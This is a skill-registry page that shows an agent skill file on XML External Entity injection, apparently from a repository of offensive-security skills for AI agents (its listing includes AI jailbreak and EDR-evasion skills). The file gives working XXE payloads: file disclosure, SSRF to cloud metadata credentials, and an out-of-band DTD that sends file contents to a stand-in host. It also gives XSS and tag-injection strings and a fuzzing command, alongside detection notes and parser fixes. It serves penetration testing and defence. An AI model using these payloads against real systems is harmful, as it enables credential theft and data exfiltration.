xxe
Skill22 starsChanged 6 months agoMITView on GitHub
XML External Entity (XXE) injection exploits XML parsers that process DTD external entity declarations, enabling local file disclosure (`file:///etc/passwd`), SSRF via `http://` entities, and DoS via Billion Laughs. Vulnerable Java APIs include `DocumentBuilder`, `SAXParser`, `dom4j`, `TransformerFactory`, `SAXReader`, `XMLInputFactory`, Xerces. Detect by injecting `<!DOCTYPE>` DTD with `SYSTEM` entity references. Tools: Burp Suite, wfuzz XML fuzz strings.
5 other projects use a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- conjure-3301/skillstheir own version, first seen Aug 17, 2026
- KaanBicaklar/mona-sast-skillstheir own version, first seen Jul 9, 2026
- langbyyi/websec-skillstheir own version, first seen Jun 12, 2026
- sunilgentyala/OmniRededited, first seen Jun 4, 2026
- blacklanternsecurity/red-runtheir own version, first seen Apr 1, 2026
Other versions5 projects use a version of this.
Word for word · 0
None found.
Edited · 1
- sunilgentyala/OmniRed★ 513% same
Wrote their own version · 4
- blacklanternsecurity/red-run★ 285same name
- langbyyi/websec-skills★ 4same name
- KaanBicaklar/mona-sast-skills★ 2same name
- conjure-3301/skills★ 0same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository353 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- bb-hugeSkill
- 2fa-multi-factor-bypassSkill
- 401-403-bypass-techniquesSkill
- Access Control — Complete Deep DiveSkill
- active-directory-acl-abuseSkill
- active-directory-asreproastingSkill
- active-directory-certificate-servicesSkill
- active-directory-dcsync-attackSkill
- active-directory-full-attack-chainSkill
- active-directory-golden-ticketSkill
- active-directory-kerberoastingSkill
- active-directory-kerberos-attacksSkill
- ad-asreproast-attackSkill
- ad-assessmentSkill
- ad-cs-esc1-abuseSkill
- ad-dcsync-attackSkill
- ad-pass-the-hashSkill
- advanced-sql-injection-sqliSkill
- ai-agent-tool-abuse-and-privilege-escalationSkill
- ai-data-extraction-via-ssrfSkill
- ai-data-poisoning-model-skewingSkill
- ai-data-poisoningSkill
- ai-jailbreak-obfuscation-ciphersSkill
- ai-jailbreak-prompt-injectionSkill
- ai-jailbreak-system-promptsSkill
- aikido-triageSkill
- ai-ml-securitySkill
- ai-pair-hunting-with-claudeSkill
- ai-prompt-leakingSkill
- ai-redteamSkill
- ai-report-writing-guardrailsSkill
- amend-skillSkill
- amsi-bypassSkill
- analyze-cveSkill
- android-apk-reverse-engineeringSkill
- android-pentesting-tricksSkill
- anti-debugging-techniquesSkill
- api-auth-and-jwt-abuseSkill
- api-authentication-bypassSkill
- api-authorization-and-bolaSkill
- api-enumeration-fuzzing-discoverySkill
- api-mass-assignment-exploitationSkill
- api-rate-limit-bypass-techniquesSkill
- api-recon-and-docsSkill
- api-secSkill
- api-securitySkill
- API Testing — Deep DiveSkill
- arbitrary-write-to-rceSkill
- authbypass-authentication-flawsSkill
- auth-bypassSkill
- Authentication — Complete Deep DiveSkill
- auth-secSkill
- authz-bypassSkill
- av-edr-evasion-techniquesSkill
- aws-cloud-penetration-testingSkill
- aws-cognito-abuseSkill
- aws-iam-privilege-escalationSkill
- aws-imdsv2-ssrf-bypassSkill
- aws-metadata-ssrf-exploitationSkill
- The first 60 shown.
The file
We split this skill into the rules it gives an agent
8 rules. 0 are common, 6 are distinctive, and 2 are very specific to this project.
0
Common
Most of the 5 edited versions we read keep these.
6
Distinctive
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 33
Test SSRF via HTTP entity pointing to OOB callback server.
- Distinctive: line 34
If output is not reflected (blind XXE), use out-of-band via parameter entities and external DTD.
- Distinctive: line 35
Test for error-based XXE if OOB is blocked.
- Distinctive: line 36
Test XML injection vectors (tag injection, CDATA bypass) if DOCTYPE is stripped.
- Very specific: line 97
If <!DOCTYPE> is stripped: test for XML injection via metacharacters (', ", <, >, &, ]]>) to break document structure
- Very specific: line 98
If SYSTEM entities are blocked but PUBLIC entities are not: <!ENTITY xxe PUBLIC "foo" "file:///etc/passwd">
- Distinctive: line 133
Avoid processing DTDs entirely if not required
- Distinctive: line 134
Use JSON instead of XML for APIs where XML is not mandated
“Common” is measured: kept by at least 6 in 10 of the 5 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
XML External Entity (XXE) Injection
What Is Broken and Why
XXE vulnerabilities arise when XML input containing a DOCTYPE declaration with external entity references is processed by a parser that has external entity resolution enabled. The parser fetches the referenced resource (a local file, remote URL, or network service) and substitutes it into the document, which the application may then reflect in a response or process further. Beyond data disclosure, XXE enables SSRF and, via parameter entities, blind out-of-band exfiltration. The root cause is misconfigured or default-insecure XML parser settings.
Key Signals
- Application accepts XML input (SOAP endpoints, REST APIs with
Content-Type: application/xml, file uploads of .xml/.docx/.xlsx/.svg) - Requests containing
<?xmldeclarations - Error messages referencing XML parsing libraries or DTD processing
- Java APIs in stack traces:
DocumentBuilder,SAXParser,XMLInputFactory,TransformerFactory - Application processing SVG, RSS/Atom feeds, or office document formats (DOCX, XLSX use XML internally)
- Response includes content from server filesystem or internal network resources
Methodology
- Identify XML input vectors: direct XML body, XML-based file uploads, XML wrapped in SOAP.
- Submit minimal XML and confirm it is parsed (look for reflected values or processing differences).
- Inject a DOCTYPE with an internal entity first to confirm entity processing is enabled.
- Escalate to external file entity to test file disclosure.
- Test SSRF via HTTP entity pointing to OOB callback server.
- If output is not reflected (blind XXE), use out-of-band via parameter entities and external DTD.
- Test for error-based XXE if OOB is blocked.
- Test XML injection vectors (tag injection, CDATA bypass) if DOCTYPE is stripped.
Payloads & Tools
<!-- Step 1: Confirm entity processing (internal entity) -->
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY xxe "xxe-test">]>
<root>&xxe;</root>
<!-- Step 2: File disclosure (Linux) -->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- File disclosure (Windows) -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/boot.ini">]>
<foo>&xxe;</foo>
<!-- SSRF via HTTP entity -->
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<foo>&xxe;</foo>
<!-- OOB blind XXE (data exfiltration via DNS/HTTP) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://VICTIM/malicious.dtd">
%xxe;
]>
<foo/>
<!-- malicious.dtd hosted on attacker server: -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % send "<!ENTITY exfil SYSTEM 'http://VICTIM/?data=%file;'>">
%send;
<!-- Error-based XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
<!-- XML tag injection / privilege escalation -->
<!-- Email field: inject closing tag + new element -->
user@domain.com</mail><role>admin</role><mail>user@domain.com
<!-- CDATA XSS bypass -->
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
<!-- wfuzz XML injection fuzzing -->
wfuzz -c -z file,xml-fuzz.txt --hc 200 TARGET/api/xml-endpointBypass Techniques
- If
<!DOCTYPE>is stripped: test for XML injection via metacharacters (',",<,>,&,]]>) to break document structure - If
SYSTEMentities are blocked butPUBLICentities are not:<!ENTITY xxe PUBLIC "foo" "file:///etc/passwd"> - Encoding: submit XML as UTF-16 or UTF-7 if UTF-8 is filtered
- CDATA wrapping to inject script through XML:
<![CDATA[...]]> - Parameter entities for blind exfiltration when direct entities are blocked
- SVG upload: craft malicious SVG file with external entity declaration (processed by server-side renderer)
- XLSX/DOCX injection: embed XXE in internal XML files within ZIP archive
Exploitation Scenarios
Scenario 1 — File Disclosure via SOAP API
Setup: SOAP web service accepts XML, processes address field, and reflects parsed values.
Trigger: Replace address field value with entity reference: inject DOCTYPE + <!ENTITY xxe SYSTEM "file:///etc/passwd"> and use &xxe; as address value.
Impact: Contents of /etc/passwd returned in the address field of the SOAP response.
Scenario 2 — SSRF to Cloud Metadata
Setup: REST API endpoint accepts Content-Type: application/xml and processes product import data.
Trigger: Submit XXE with SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE".
Impact: AWS IAM credentials returned in error message or reflected XML response.
Scenario 3 — Blind OOB Exfiltration via SVG Upload Setup: Profile avatar accepts SVG format; server-side renderer processes SVG XML. Trigger: Upload SVG containing external DTD reference pointing to attacker server; DTD triggers file read and DNS/HTTP callback with file contents. Impact: Sensitive server files exfiltrated without any visible response to attacker.
False Positives
- XML parsers that have external entity processing disabled by default (modern library versions with secure defaults)
- DOCTYPE declarations that are stripped by an XML preprocessing layer before the main parser
- Internal entities (using
&style references) that work but externalSYSTEMentities are blocked - Error responses that look like XML parsing errors but are caused by malformed XML structure, not XXE
Fix Patterns
- Disable external entity processing in XML parser configuration (most critical fix):
- Java DocumentBuilderFactory:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) - Java SAXParserFactory: disable
external-general-entitiesandexternal-parameter-entities - Python lxml: use
resolve_entities=False - PHP: use
libxml_disable_entity_loader(true)(PHP < 8.0); PHP 8.0+ disabled by default
- Java DocumentBuilderFactory:
- Avoid processing DTDs entirely if not required
- Use JSON instead of XML for APIs where XML is not mandated
- Validate and sanitize XML against a strict schema that disallows DOCTYPE declarations
- Apply allowlists for what XML content is permissible
Related Skills
[[ssrf]] and XXE are two sides of the same server-trust-boundary problem: XXE with an http:// SYSTEM entity is an SSRF primitive that can reach the cloud metadata endpoint just as a URL-parameter SSRF can. If XXE enables file disclosure and the file contains source code, use those paths as targets for [[path-traversal]] to enumerate the filesystem further. SVG upload XXE chains into [[xss-stored]] if the server renders the SVG in an HTML context without sanitization. The OOB data exfiltration technique here (DNS callback) is the same pattern used in blind [[ssrf]] detection.
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

